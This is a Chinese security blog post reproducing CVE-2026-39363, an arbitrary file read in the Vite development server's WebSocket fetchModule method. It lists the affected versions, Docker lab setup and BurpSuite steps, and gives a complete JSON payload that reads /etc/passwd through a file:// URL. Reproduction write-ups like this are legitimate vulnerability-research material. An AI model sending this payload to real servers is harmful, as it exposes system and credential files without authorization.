CVE复现|CVE-2026-39363漏洞复现"

admin 2026-10-16 11:56:47 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

CVE复现 | CVE-2026-39363漏洞复现

原创

LRT凌日
LRT凌日

凌日网络与信息安全团队LapR1skT

2026年9月21日 08:00
重庆

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

漏洞概述

vite是一个用于JavaScript的前端工具框架,在6.0.0到6.4.2、7.3.2和8.0.5之前的版本中,HTTP的请求路径上强制执行的系统访问控制,并未应用于开发服务器Websocket暴露的fetchModule方法中。攻击者如果可以不带Origin标头的方式连接到vite开发服务器的Websocket,就可以通过自定义vite:invoke来调用fetchModule,并结合file://协议,将服务器上的任意文件读取出来。

受影响的版本

8.0.0 <= vite <= 8.0.4

7.0.0 <= vite <= 7.3.1

6.0.0 <= vite <= 6.4.1

vite-plus <= 0.1.15

环境搭建

切换到docker文件存放的目录下

docker compose up -d 启动容器

漏洞验证

打开http://localhost:5173/进入网页

打开burpsuit对页面进行抓包,并不断放包,直到websocket出现相关请求,之后点击send to repeater。

之后修改发送为发送到服务端,并附上payload

1. `{

3. \"type\": \"custom\",

5. \"event\": \"vite:invoke\",

7. \"data\": {

9. \"name\": \"fetchModule\",

11. \"id\": \"send:1\",

13. \"data\": [\"file:///etc/passwd?raw\"]

15. }

17. }`

如截图所示,服务器上的 /etc/passwd 文件内容已经通过开发服务器的 WebSocket 成功读取出来,漏洞利用确认成功。

参考文献

CVE-2026-39363:Vite开发服务器任意文件读取漏洞分析复现 - kivvs - 博客园

(https://www.cnblogs.com/kivvs/articles/22084882/CVE-2026-39363)

https://github.com/vulhub/vulhub/blob/master/vite/CVE-2026-39363/README.zh-cn.md

免责声明:由于传播、利用本公众号凌日网络与信息安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号凌日网络与信息安全团队及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

文案|周   宏

排版|孟凡杰

校正|李昕洋

审核|林炳辰


CVE复现|CVE-2026-39363漏洞复现" 网络安全文章

CVE复现|CVE-2026-39363漏洞复现"

本文复现了CVE-2026-39363漏洞,该漏洞影响Vite多个版本,攻击者可通过不带Origin头连接开发服务器WebSocket,调用fetchModule方法并结合file协议读取服务器任意文件。文章提供了受影响版本范围、Docker环境搭建步骤、BurpSuite抓包验证流程及完整payload,确认漏洞利用成功,并附有参考文献。
一款自动化文件上传漏洞检测工具" 网络安全文章

一款自动化文件上传漏洞检测工具"

本文推荐一款自动化文件上传漏洞检测工具UploadRanger,该工具集成一键扫描、抓包代理及Payload生成等功能,支持WebShell与Polyglot载荷生成,安装简单需Python环境建议在Kali中运行。文章指出文件上传漏洞危害严重,该工具集成度高值得肯定,适合安全测试人员快速检测上传点漏洞。
汽车网络安全测试最佳实践" 网络安全文章

汽车网络安全测试最佳实践"

该文档为公众号推广文章,标题为汽车网络安全测试最佳实践,实际技术内容有限,主要包含技术交流群推广、会员下载PPT引导及多篇相关文章链接,涉及整车信息安全设计、智能网联汽车安全测评及国强标下信息安全检测等主题,整体以引流和社群推广为主,技术深度不足。
评论:0   参与:  0